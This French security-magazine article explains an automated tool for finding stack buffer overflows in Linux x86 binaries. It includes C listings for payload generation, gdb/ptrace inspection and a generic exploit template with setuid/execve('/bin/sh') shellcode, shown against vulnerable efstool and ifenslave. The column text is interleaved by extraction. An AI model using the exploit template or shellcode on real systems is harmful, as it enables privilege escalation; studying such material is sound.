Automatiser le processus

d'exploitation sur Linux

Programmation
x86
Stavros Lekkas

Degr de difficult

Le contrle d'ventuels dfauts prsents dans les binaires

compils est une tche trs pnible pour les pntromtres.
Cette tche serait dfinitivement facilite avec un outil
susceptible d'identifier les bogues dus au surdbit de la mmoire
tampon et de produire un code d'exploitation.

I
maginons que vous ayiez crire un ex-
trait de code compil sans avoir la chance
de disposer du code source correspon-
dant. Par ailleurs, vous constatez que ce
code compil prsente les caractristiques
inhrentes une vulnrabilit par surdbit et peuvent parfois prendre la forme de don-
de la mmoire tampon. Dans la mesure o
l'analyse de dsassemblage est un pro-
cessus extrmement long, un outil capable
d'automatiser le processus d'exploitation de
cette vulnrabilit potentielle se rvlerait
trs utile. Nous allons donc vous prsenter
l'installation possible d'un tel outil.
Dire qu'un programme est affect par
un bogue de surdbit de la mmoire tampon
base sur la pile signifie qu'il existe un lieu,
la dnomme mmoire tampon, o les don-
nes sont copies. Ce type de mmoire
tampon existe dans la pile o ces dernires
sont pointes par des adresses. Par ailleurs,
lorsque les donnes sont enfin copies, les
limites ne sont pas contrles, avec le risque
vident d'un surdbit. Si la mmoire tampon
est effectivement en surdbit, certains autres
segments hors de son champ d'action sont
leur tour modifis. La manipulation efficiente
de tels segments contenant des donnes va-
lides implique un contrle du flux d'excution
du programme au moyen de simples adresses
valides diriges vers ces segments.
Les donnes, mentionnes plus haut,
sont places dans la mmoire tampon,
nes d'entre de l'utilisateur. Le programme
peut, en effet, accepter des donnes d'entre
Cet article explique...
Comment identifier ce genre particulier de bo-
gues sans avoir recours au code source,
Comment suivre les tapes ncessaires la
tche d'exploitation de ce bogue,
Les critres gnraux relatifs un modle de
code gnrique d'exploitation,
Les raisons pour lesquelles cette automatisa-
tion est une aide prcieuse.
Ce qu'il faut savoir...
Les bases lmentaires de la programmation
en C sous Linux,
Le fonctionnement du systme d'exploitation
de Linux,
Le fonctionnement de la pile sous Linux.

56 hakin9 N 2/2006 www.hakin9.org

 Exploitation automatise

Utilisation de la logique
des ensembles flous
La thorie relative la logique des
ensembles flous traite l'ambigut afin
d'essayer de catgoriser l'incertitude
et de classer cette dernire mathma-
tiquement. L'ensemble des nombres
entiers en mathmatiques possde une
cardinalit infinie, l'instar de l'ensem-
ble des nombres rels, etc. Toutefois,
en matire d'informatique, tout est fini
et les calculs dots d'oprandes trop
importants peuvent chouer.

Figure 1. Prsentation gnrale conceptuelle d'une opration de copie

utilisateur dans de nombreux cas incertaine
possibles comme, par exemple,
sous la forme d'arguments du
programme (ou de paramtres su
vous prfrez), de variables envi-
ronnementales, de commutateurs,
et mme de donnes d'entre de
programme d'excution reues au
moyen des fonctions libc gets(),
scanf(), etc. Dans la mesure o
chacun de ces cas est quasiment
unique, nous n'voquerons, dans
le cadre du prsent article, que les
arguments du programme en tant
que vecteurs d'attaques.
Il est essentiel de mentionner
que le concept d'automatisation n'a
aucun lien avec la logique des en-
sembles flous, et que l'outil produit
n'a jamais recours aux techniques Figure 2. Organigramme du premier algorithme de cration de donnes
des ensembles flous. Tenter de utiles
dtecter des vulnrabilits particu-
lires en inspectant des donnes avec des caractres de sorte tel que fourni en tant que premier
gnres partir d'entres dli- atteindre %eip. Adapter ces exigen- argument.
bres ne relve pas de la logique ces dans des tableaux de valeurs
des ensembles flous (voir la partie prdfinies permet de crer un mo- $ ./a.out hakin9
intitule Utilisation de la logique dle de construction logique dans un You typed: hakin9
des ensembles flous). cadre d'applications dfinies.
Dans notre recherche de che- Il est possible qu'au lieu d'appeler
mins pour contrler le %eip (voir la Arguments du uniquement printf() avec argv[1]
Figure 1 pour plus d'explications) programme comme paramtre, une mmoire
via les arguments, il nous faut rai- De nombreux formats ELF excuta- tampon intermdiaire, un tableau
sonner sur les lments dont nous bles reoivent des arguments avant de caractres ait t dclar.
disposons. Par exemple, il faudra de dbuter leur excution. Un exem- Si tel est le cas, argv[1] est alors
dterminer si un binaire excuta- ple typique est la commande rm, copi dans la mmoire tampon, puis
ble donn est vulnrable ou non. laquelle il faut fournir sous forme printf() utilise cette mmoire tam-
La premire supposition pourrait se de paramtre les lments que nous pon en tant que paramtre, avec,
traduire comme suit : soit le nime souhaitons supprimer. Supposons si tout se passe correctement,
argument n'est pas vulnrable, soit que nous ayons un format ELF ex- la chane au format appropri. Il
il l'est, auquel cas, il existe une cutable, a.out, charg d'imprimer est galement possible que argv[1]
distance dfinie devant tre remplie uniquement un flux de caractres soit copi dans cette mmoire

www.hakin9.org hakin9 N 2/2006 57

 Programmation

tampon d'une manire peu sre.

Listing 1. Sous-systme de cration de donnes utiles Que se passerait-il si nous l'alimen-
char *make_payload(char *buffer, int policy, LINT num)
tions avec des donnes d'entre
// politiques : plus importantes ?
// _APPEND ~ ajout de $num 'A'[s]
// _REMOVE ~ suppression de $num 'A'[s] $ ./a.out `perl e print "A" x 50`
{
You typed: AAAAAAA AAA
char *my_buffer;
Segmentation fault (core dumped)
LINT i, len = strlen(buffer);

if( policy == _APPEND ) { La mmoire ne fonctionne plus

if( !(my_buffer = (char *)malloc( len + num + 1 )) ) { et produit un noyau. Toutefois,
fprintf(stderr, "[!] make_payload(): malloc() append error.\n");
de nombreuses distributions de
exit(EXIT_FAILURE);
}
Linux ne produisent pas de fichiers
CLEAR(my_buffer); noyaux. Nous pouvons donc activer
cette option en tapant la commande
if( len != 0 ) suivante :
for( i = 0; i < len; i++ )
my_buffer[i] = *(buffer++);
$ ulimit -c unlimited
for( i = len; i < len + num; i++ )
my_buffer[i] = 'A'; De cette faon, nous autorisons
la production de fichiers de noyaux
my_buffer[i] = 0x00;
dont la taille est illimite. Mais reve-
}
nons notre exemple ! La production
if( policy == _REMOVE ) { d'un noyau signifie qu'une mmoire
if( !(my_buffer = (char *)malloc( len - num + 1 )) ) { tampon intermdiaire a bien t uti-
fprintf(stderr, "[!] make_payload(): malloc() remove error.\n"); lise, et dans laquelle argv[1] a t
exit(EXIT_FAILURE);
copi de manire incertaine. Grce
}
CLEAR(my_buffer);
gdb, le dbogueur GNU, il est
possible d'observer l'instruction
for( i = 0; i < len - num; i++ ) l'origine de la panne :
my_buffer[i] = *(buffer++);

$ ./gdb c core ./a.out | grep \#0

my_buffer[i] = 0x00;
#0 0x41414141 in ?? ()
}

return my_buffer; Ce qui est logique puisque 0x41 est

} l'quivalent hexadcimal de A. Nous
avons expos dans la Figure 1 une
prsentation gnrale conceptuelle
bien plus dtaille.
Le pointeur de l'instruction a t
remplac par une adresse invalide,
ce qui a entran la panne (voir ga-
lement l'article intitul Provoquer un
surdbit de la pile sous Linux x86
disponible partir du site Web du
magazine hakin9.org).
Au lieu de lui fournir cinquante A,
nous aurions pu dterminer la dis-
tance exacte permettant d'atteindre
%ebp, remplir cette distance avec
des A, puis proposer une adresse
valide. Ainsi, il est possible de con-
trler le flux du programme excut
de manire ce que ce dernier ex-
cute le code que nous pouvons four-
Figure 3. Organigramme du deuxime algorithme de cration de donnes nir. De plus, cette opration peut tre
utiles automatise.

58 hakin9 N 2/2006 www.hakin9.org


Collecte des
informations
ce stade, il est important de
mentionner que les informations
qui nous intressent au sujet dun
excutable donn relvent du
nombre d'arguments, qui nous
donnera une chelle de valeur
pour manipuler %eip, ainsi que
la distance permettant d'atteindre
%eip. Si nous reprenons l'exemple
de a.out, nous aurions pu dbuter
l'application gdb pour chacune des
valeurs de longueur possible de
l'argument, en crant chaque fois
une charge de mmoire tampon
qui augmenterait de manire pro-
gressive. Puis, il faudra contrler
la valeur du pointeur d'instruction
afin de dfinir le degr d'influence
de nos donnes d'entre. Si l'ex-
cutable est rellement vulnrable,
nous verrons alors trois tats dif-
frents lors de notre contrle. Les
trois tats suivants apparatront
l'un aprs l'autre :
Une valeur qui ne correspond
pas une alternance du pointeur
de l'instruction peut apparatre
plusieurs fois.
Une valeur qui correspond au
remplacement partiel du poin-
teur de l'instruction apparat une
fois, et nous savons que l'essai
suivant correspond automatique-
ment un troisime tat (comme
par exemple : 0x00414141).
Une valeur qui correspond un
remplacement total du pointeur
de l'instruction (comme par
exemple : 0x41414141).
Il est intressant de remarquer qu'un
remplacement partiel russi revient
altrer trois octets sur quatre de
%eip. Il impossible de suspecter
l'adresse 0xbfff4141 dans un rempla-
cement partiel puisqu'il s'agit d'une
adresse valide pointant vers la pile.
Toutefois, l'adresse 0xbf414141 est
bien plus suspecte car il est rare
que la pile augmente plus. Bien que
l'implmentation finale prenne en
compte ce problme, il serait assez
judicieux d'affecter des valeurs cons-
Exploitation automatise
Listing 2. Sous-systme d'excution et d'inspection labor avec gdb,
grep et awk
int exec_and_inspect_1(char *buffer, int arg, char *vulnfile)
{
//retourne : -2 ~ erreur interne
// -1 ~ pas de correspondance
// 0 ~ correspondance certaine :)
// 1 ~ correspondance probable
char tmp[512], bufresponse[64];
int inspec_val, i;
FILE *fd;
u_long address;
close(2); // gdb imprime vers stderr
if( (fd = fopen(CMDF, "w+")) == NULL ) {
ttyd = open("/dev/tty", O_RDONLY);
fprintf(stderr, "[!] exec_and_inspect_1(): error creating gdb command
file.\n");
fflush(stderr);
return -2;
}
fprintf(fd, "r ");
for(i = 0; i < arg - 1; i++)
fprintf(fd, "foo ");
fprintf(fd, "%s\nquit\n", buffer);
fclose(fd);
CLEAR(tmp);
snprintf(tmp, 511, "%s %s --command=%s|%s 0x | %s {'print $1'} > %s",
GDB, vulnfile, CMDF, GREP, AWK, RETF);
system(tmp);
unlink(CMDF);
CLEAR(bufresponse);
if( (fd = fopen( RETF, "r")) == NULL ) {
ttyd = open("/dev/tty", O_RDONLY);
fprintf(stderr, "[!] exec_and_inspect_1(): error reading gdb output file.\
n");
fflush(stderr);
return -2;
}
fgets(bufresponse, 63, fd);
fclose(fd);
address = strtoul(bufresponse, 0, 16);
if(verbose)
fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer));
Suite sur la page suivante
tantes de poids afin d'en indiquer le rien de plus que crer des mmoires
degr de danger et de dterminer tampons remplies de A lorsque c'est
l'ventuel remplacement. ce qui lui est ordonn de faire. Une
politique relativement facile com-
prendre pour produire de telles don-
Premier algorithme de nes utiles est illustre par la clbre
cration de donnes technique de la force brute. Nous
utiles allons crer des mmoires tampons
Le sous-systme responsable de la de toutes les longueurs possibles,
cration de donnes utiles ne fait qui seront ensuite teste l'une aprs
www.hakin9.org hakin9 N 2/2006 59
 Programmation

dans la mme tendue, alors l'alter-

Listing 2. Sous-systme d'excution et d'inspection labor avec gdb, nance dlibre sera dfinitivement
grep et awk (suite) dtecte.
switch( address_status( address ) ) {
La Figure 2 illustre cette aug-
case 0: // 0x41414141 mentation par un seul algorithme.
if( flag == 1 ) { //si 3 bits de poids faible ont t modifis Crer des mmoires tampons
antrieurement exponentielles, lorsque l'exposant
if(verbose) {
n'est que d'un octet, prsente cer-
fprintf(stdout, "-> %%eip status: definately smashed. ");
printfixed(address);
tains avantages et inconvnients.
} L'un de ces avantages est que
inspec_val = 0; cette mthode permet de rduire
} la complexit de programmation
else { // eip correspond avec le premier essai,
afin de gagner du temps dans les
// ce qui implique deux cas.
// premier cas : la commande gdb
calculs. Elle offre en ralit une
// a enregistr un fausse adresse, nous devons donc implmentation plus abstraite. Si
//continuer l'incrmentation est plus impor-
// deuxime cas : un contrle rapide rvle une mmoire tante qu'un seul A, elle acclre-
// tampon vulnrable
rait dfinitivement le processus
if(verbose) {
fprintf(stdout, "-> %%eip status: probably smashed. ");
tout en introduisant des conflits
printfixed(address); avec nos trois tats possibles de
} %eip. N'oubliez surtout pas qu'une
inspec_val = -1; alternance est dite dlibre si,
}
et seulement si l'ensemble des qua-
break;
case 1:// 3 bits de poids faibles ont t modifis
tre octets de %eip a t altr et si
// soit nous sommes sur le point de modifier trois des quatre octets ont t alt-
// %eip au prochain essai, soit rs lors d'un essai antrieur. Nous
// un contrle rapide correspond au 3/4 de %eip. avons expos dans le Listing 1
// Rsultat intressant, nous devons lancer
une implmentation du sous-sys-
// une tourne supplmentaire pour tre sr.
flag = 1;
tme de cration des donnes
utiles sous forme de composant
if(verbose) { entirement rutilisable.
fprintf(stdout, "-> %%eip status: partially smashed. "); Dans la mesure o le code
printfixed(address);
expos dans le Listing 1 utilise
}
la fonction malloc() pour allouer une
inspec_val = -1; mmoire tampon, puis retourne un
break; pointeur vers cette dernire, elle de-
case -1: vrait tre vide un moment donn.
if(verbose) {
Ce qui peut s'effectuer de la manire
if(address) {
fprintf(stdout, "-> %%eip status: not smashed. ");
suivante :
printfixed(address);
} char *p;
else p = make_payload("foo",
fprintf(stdout, "-> %%eip status: not smashed. (unaccessible)\
_APPEND, 1);
n");
free(p);
}
inspec_val = -1;
break;
default:
Deuxime algorithme
fprintf(stderr, "[!] I shouldn't be here.\n"); de cration de
}
inspec_val = -2;
donnes utiles
unlink(RETF); Au lieu d'augmenter les donnes
utiles d'un seul A, il est galement
return inspec_val; possible de l'augmenter avec des
}
blocs de A. Toutefois, cette m-
thode entre en conflit avec nos trois
l'autre jusqu' la dtection d'un signe tampon dans le champ des essais. tats possibles de %eip. C'est la rai-
d'alternance ou jusqu' atteindre Si l'argument est vulnrable, et si son pour laquelle cette mthode n'a
la longueur maximum de la mmoire notre champ d'essai est compris pas t implmente dans l'outil.

60 hakin9 N 2/2006 www.hakin9.org

 Exploitation automatise

Pour tre plus prcis, il existe une

probabilit considrable que l'tat Listing 3. Sous-systme d'excution et d'inspection labor avec
2 ne soit jamais satisfait, ce qui en- l'appel de systme ptrace
tranerait un conflit avec le flux d- int exec_and_inspect_2(char *buffer, int arg, char *vulnfile)
fini du moment des tats internes. {
Au moment de crer des mmoires // retourne : -2 ~ erreur interne
tampons partir de blocs de A, // -1 ~ pas de correspondance
// 0 ~ correspondance :)
la valeur la plus efficace semble
tre trois A par bloc en termes de REGISTERS regs;
rapidit. Et plus particulirement, pid_t pid;
la valeur idale est produite par la int inspec_val = -1, wait_val, i = 1;
formule suivante : LLONG counter = 0;
char *args[MAX_ARGS] = {NULL};
args[0] = "lazyjoe";
block_len = word_size(
for(i = 1; i <= arg - 1; i++)
%eip size in bytes) 1 <=> (1) args[i] = "foo";
block_len = 4 1 <=> args[i] = buffer;
block_len = 3 args[i+1] = NULL;

switch( pid = fork() ) {

Ce qui nous donne trois ensem- case -1:
bles possibles de scnarios pour return -2;
remplacer %eip. Le cas le plus break;
intressant s'obtient lorsque %eip case 0:
ptrace(PTRACE_TRACEME, 0, 0, 0);
est entirement remplac et lors-
execv(vulnfile, args);
que la longueur des donnes utiles break;
n'est pas bien ajuste la distance default:
prcise. A ce stade, le sous-sys- wait(&wait_val);
tme de production de donnes if(verbose)
fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer));
utiles doit produire un nombre de
while(wait_val == 1407) {
donnes utiles rduit. Dans ce cas, counter++;
l'tat 3 obtient la priorit d'occur- counter_tot++;
rence de l'tat 2, et vice versa. if( ptrace(PTRACE_GETREGS, pid, 0, &regs) != 0 ) {
Finalement, cette mthode ap- fprintf(stderr, "[!] ptrace(): error fetching registers.\n");
fflush(stderr);
porte de la vitesse, mais entrane
return -2;
galement une gnration de don- }
nes utiles la fois vers l'avant if( ptrace(PTRACE_SINGLESTEP, pid, 0, 0) != 0 ) {
et l'arrire (voir la Figure 3). Avec fprintf(stderr, "[!] ptrace(): error restarting.\n");
une catgorisation approprie des fflush(stderr);
return -2;
critres de l'alternance de %eip, cette
}
mthode se rvlerait idale afin if(verbose) {
de produire des donnes utiles au fprintf(stdout, "-> eip: %8x\r", regs.eip);
moyen de blocs fixes. N'oubliez pas fflush(stdout);
que cet algorithme n'a pas t retenu }

dans le code de l'outil. Si cet article

if( regs.eip == 0x41414141 ) {
vous intresse, vous pouvez toujours if(verbose) {
le dvelopper de manire efficace fprintf(stdout, "-> Number of instructions this round: %ld\n",
et oprationnelle. counter);
fprintf(stdout, "-> Total number of instructions: %ld\n",
Premier algorithme de counter_tot);
contrle }
inspec_val++; //0
Le sous-systme d'excution kill(pid, SIGKILL);
et d'inspection est de loin le com- }
posant le plus important de cet wait(&wait_val);
}
outil car il contient un moteur de
}
dcision simple. Son rle n'est return inspec_val;
pas passif comme celui du sous- }
systme de production de donnes
utiles. Ce sous-systme est charg

www.hakin9.org hakin9 N 2/2006 61

 Programmation

Figure 4. Coopration entre les composants fonctionnels

Figure 6. Mta-modle abstrait du

systme dans son ensemble

Figure 5. Pile Linux vue du fond

d'excuter l'application vulnrable
au moyen des donnes utiles cons-
Listing 4. Modle gnrique de code d'exploitation truites dans l'argument appropri,
et de dcider, en fonction de la va-
// notre binaire
leur de %eip, si les donnes de sor-
#define BIN "our_vuln_bin"
// valeur hypothtique. Peut tre obtenue au moyen des tie dsires doivent tre rvles.
// algorithmes payload_production exec_and_inspect Ce processus de prise de dcision
#define NUM 44 fonctionne grce une liste d'heu-
char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" ristiques prioritaires, sous forme
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
toute simple de dclarations de
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80" type si-alors.
"\x31\xc0\x31\xdb\x40\xcd\x80"; Dvelopper un tel composant
en utilisant les outils en ligne de
int main(void) commandes gdb, grep et awk est
{
une mthode trs rapide mais in-
// notre structure d'environnement
char *env[2] = {shellcode, 0}; certaine. Une commande valide
char buffer[NUM + 5]; doit tre produite afin que les infor-
// notre formule intgrant le code shell mations sensibles soient extraites
unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(BIN); au moyen de canaux de commu-
memset(buffer, 0x41, NUM);
nication. Nous avons expos dans
*((long *)(buffer + NUM)) = ret;
buffer[NUM + 5] = 0x00; le Listing 2 une implmentation de
// cette ligne est labore partir du sous-systme de gnration cette technique.
d'exploitation Les donnes utiles ainsi que
// afin d'inclure tout argument possible sauf partir des donnes utiles l'argument sur le point d'tre tests
execle(BIN, BIN, buffer, 0, env);
sont fournis en tant que param-
return 0;
} tres de fonction (voir le Listing 2).
Le principe de conception gnral

62 hakin9 N 2/2006 www.hakin9.org

 Exploitation automatise

Informations
sur les tests
Nous avons ralis les tests sur un
ordinateur portable Acer quip de
l'Intel P4, d'une unit centrale de 2,0
Ghz, et d'une RAM partage de 128
Mo. Le systme d'exploitation utilis
tait Mandrake 9.0 (Dolphin), excut
partir du poste de travail Vmware.
Les applications testes taient dis-
ponibles sous forme de packages
issus des CD d'installation de Man- Figure 7. Essai sur efstool au moyen du mode des canaux de
drake 9.0. communication

que l'auteur a adopt ici consiste

retourner les codes de gestion
vers la couche prcdente (pro-
gramme d'appel de niveau tex-
tuel), laquelle, son tour, excute
la mme opration pour la couche
prcdente, etc. Cette conception
en forme d'arbre offre une grande
flexibilit. Ainsi, cette technique
prsente l'avantage d'offrir une trs
bonne vitesse de test. Toutefois,
elle est extrmement lie aux appli- Figure 8. Essai sur ifenslave au moyen du mode des canaux de
cations tierces, dont l'intgrit n'est communication
pas connue.

Deuxime algorithme
de contrle
Une seconde implmentation po-
tentielle d'un sous-systme d'ex-
cution et d'inspection pourrait
reposer sur l'appel du systme
ptrace(). Cette mthode prsente
un ensemble correct de fonctionna-
lits de niveau infrieur, dont cer-
taines seront sans doute adoptes Figure 9. Essai sur ifenslave au moyen du mode ptrace
dans l'outil. Enfin, ptrace permet
d'activer un processus permettant d'un signal. Nous appellerons processus fils. Le dernier proces-
de contrler l'excution d'un autre. ptrace() avec PTRACE _ TRACEME sus sera cr au moyen de fork().
Le processus ainsi pist se compor- en tant que valeur de la requte PTRACE _ GETREGS nous permettra
te normalement, jusqu' dtection afin d'activer le contrle sur les d'intercepter toutes les valeurs

Tableau 1. Reprsentation quantitative de la performance de binaires spcialement conus

Argument vulnrable Mmoire tampon vulnrable Canaux de communication Ptrace

1 128 octets 20.41136200 sec n/a

3 32 octets 7.79432000 sec 457.13281000 sec

5 16 octets 5.24972400 sec 339.47941600 sec

20 16 octets 7.66579100 sec 479.69758100 sec

www.hakin9.org hakin9 N 2/2006 63

 Programmation
enregistres dans une structure
d'enregistrement approprie, et
nous assistera dans l'inspection
de %eip. Enfin, PTRACE _ SINGLESTEP
nous aidera trouver l'instruction
malveillante. Nous avons expos
dans le Listing 3 l'implmentation
de cette technique.
Notez bien que l'implmentation
expose dans le Listing 3 ne respec-
te pas la squence d'occurrences
des trois tats. En effet, cette techni-
que ne traite pas la manipulation des
chanes, contrairement la mthode
prcdente, mais interagit directe-
ment sur les valeurs enregistres.
Cette technique et la prcdente
reoivent les mmes informations
en paramtres, et produisent les m-
mes codes de gestion des erreurs
pour une situation donne.
Cette technique est gnra-
lement trs longue, et il ne vaut
mieux pas lui faire confiance en cas
de grandes valeurs de la mmoire
tampon. Bien que pas suffisam-
ment rapide, en mode prolixe, elle
est toutefois trs intressante dans
la mesure o elle imprime toutes
les valeurs d'instruction passes
par %eip lors de la priode d'essai.
Il s'agit ici de millions, voire plus,
d'instructions. Il n'est donc gure
encourageant de les connecter.
Ces instructions peuvent tre utili-
ses pour identifier les modles de
cadre de pile grce une analyse
approfondie de l'excutable.
Coopration
des composants
fonctionnels
Si ce n'est pas encore clair, la per-
tinence des actions gnres par
l'outil dpend grandement d'une
coopration des sous-systmes
base sur leur conception correcte.
Les deux sous-systmes noyaux
communiquent entre eux, en en-
voyant des codes de gestion leur
couche de gestion intermdiaire,
c'est--dire la fonction find _ dist()
(voir le code source pour l'implmen-
tation). Le concept de cette coop-
ration soutenue par les retours est
illustr dans la Figure 4.
64 hakin9 N 2/2006
propos de l'auteur
Stavros Lekkas, originaire de Grce, est tudiant de troisime anne l'Universit de
Manchester (anciennement appele l'UMIST). Ses centres de recherches touchent
la cryptographie, la scurit informatique, l'exploration des donnes, les math-
matiques suprieures (logique et thorie des nombres), ainsi que la complexit des
calculs informatiques. Il travaille actuellement sur un mmoire dont le sujet concerne
un compilateur.
Le module au nombre 7, tel shell. Elles sont prsentes sous
qu'expos dans la Figure 4, est forme de format de code machine
charg d'identifier le statut de %eip l'apparence d'une squence
sur la base de son heuristique code hexadcimale (voir l'article intitul
en dur. Voici comment fonctionne Optimisation du shellcode de Linux
le processus de prise de dcision disponible sur le site Web du ma-
et comment la distance prcise peut gazine hakin9.org). La rdaction
tre trouve. d'interprteurs de commandes ne
relevant pas du sujet de notre ar-
Code d'exploitation ticle, nous supposerons que nous
Nous savons dsormais dterminer disposons d'un shellcode capable
la distance prcise via un argu- de gnrer un shell, en ditant
ment vulnrable. L'tape suivante les commandes suivantes en s-
consiste activer le sous-systme quence :
de gnration d'exploitation dont
le concept devrait tre plus facile- setuid(0); execve ("/bin/sh", 0); exit
ment comprhensible par rapport (0);
la thorie.
Est dsign par code d'ex- Notre objectif consiste passer
ploitation un extrait de code dans le programme actuellement
labor dans le but que suggre vulnrable certains octets trafiqus
son nom : profiter d'une situation jusqu' atteindre la distance dsi-
donne. Laquelle situation provient re. Cette distance reprsente en
d'un dfaut de programmation. effet le dbut du pointeur de l'ins-
Dans le cadre de notre article, il truction (%eip) qui sera remplac
s'agit d'un argument dfectueux par une adresse valide dirige vers
sur la pile locale. En exploitant le notre shellcode. Il s'agit ici d'une
dfaut de programmation, il est partie intressante. Comment
ensuite possible d'excuter les connatre exactement l'adresse
commandes de notre choix. Ces laquelle sera situ notre shell-
commandes font partie du clbre code ? Est-il possible d'identifier
interprteur de commandes du une formule capable de donner une
code d'exploitation. On appelle ces adresse valide et universelle diri-
commandes shellcode dans la me- ge vers notre shellcode ? A-t-on
sure o elles excutent un nouveau rellement besoin d'informations
Sur Internet
http://www.enderunix.org/docs/eng/bof-eng.txt
article sur les surdbits,
http://packetstormsecurity.org/groups/netric/envpaper.pdf
article sur la mthode succs direct,
http://linuxgazette.net/issue81/sandeep.html
pistage de processus au moyen de ptrace,
http://www.securityfocus.com/bid/5125
Informations de Bugtraq sur EFSTool,
http://www.securityfocus.com/bid/7682/info
Informations de Bugtraq sur ifenslave.
www.hakin9.org

spcifiques relatives notre dis-
tribution Linux ? Il est possible de
rpondre toutes ces questions en
introduisant un modle gnrique
de code d'exploitation.
Mthode au succs
direct
En voulant crer un modle gn-
rique de code d'exploitation, nous
sommes tombs sur la pile. La pile
est structure de telle sorte qu'elle
nous a aids trouver une formule
universelle. Le haut de la pile varie
en fonction de notre programme.
Toutefois, la dernire adresse valide
dirige vers l'espace de la pile est
dtermine sur 0xbfffffff. Nous
avons expos dans la Figure 5 la pile
vue du fond.
Les donnes sont excutes du
fond vers le haut alors que la pile
augmente dans le sens contraire,
du haut vers le bas. L'environne-
ment se trouve une distance fixe
du fond de la pile, et il est possible
de dterminer son nime lment
l'aide de la Figure 5. La formule
pour le nime environnement est la
suivante :
address = 0xbfffffff - 4
- ( strlen(prog_name) + 1 )
- strlen(env[n]); (2)
ce qui quivaut :
address = 0xbffffffa
- strlen(prog_name)
- strlen(env[n]); (3)
Cet environnement semble tre
la place idale pour notre shellcode.
Nous pouvons donc insrer notre
shellcode dans une structure de l'en-
vironnement, puis excuter le binaire
vulnrable au moyen de l'environne-
ment prcdent.
Pour ce faire, il est possible
d'utiliser les fonctions execve() ou
execle() tant que leur dernier pa-
ram tre est une structure de l'envi-
ronnement. Cette mthode n'exige
aucun code d'opration NOP (0x90)
dans la mesure o elle est directe-
ment dirige vers le shellcode dans
la pile.
Exploitation automatise
Assemblage des
informations
collectes
Jusqu'ici, et grce tous les d-
fauts rencontrs (Douglas Adams,
Le guide du routard galactique, 1984),
nous avons russi dterminer
la distance ncessaire pour atteindre
le dbut de %eip ainsi que notre for-
mule. Nous pouvons dsormais crer
le modle de code d'exploitation. Une
implmentation oprationnelle de ce
modle devrait ressembler au code
expos dans le Listing 4.
L'ensemble des informations
pertinentes est dclar au moyen
des dclarations #define. Il s'agit d'un
lment extrmement important car
nous pouvons ainsi conserver une
partie plus importante de l'exploita-
tion dans un tat cod en dur sans
avoir altrer d'autres composants
hormis les segments #define. De ce
fait, la fonction charge de gnrer le
code d'exploitation sera conserve
pour une utilisation minimale. Nous
vous recommandons de la tester,
elle ne vous dcevra pas.
Nous avons expos dans la
Figure 6 une prsentation gnrale
de toutes les tapes ncessaires
l'excution de l'outil.
Exemples concrets
Le 26/05/2003, un surdbit d'une
mmoire tampon a t dtect dans
la version 0.0.7 d'un programme
appel ifenslave (voir Bugtraq ID
7682). Il s'agit d'un surdbit sur la
pile locale provoqu par le premier
argument. Le mme problme a t
signal avec EFSTool. Ce dernier
est vraisemblablement d, selon
le rapport, un surdbit de la pile
le 29/01/2002, et la plupart des dis-
tributions RedHat et Mandrake con-
tiennent la version vulnrable (voir
Bugtraq ID 5125).
Aprs avoir install ces ap-
plications, nous avons tent de
dmontrer si lazyjoe est capable
de prparer une exploitation dans
ces deux cas. Les Figures 7, 8
et 9 montrent lazyjoe contrler
/usr/bin/efstool et /sbin/ifenslave
avec succs. l
www.hakin9.org hakin9 N 2/2006 65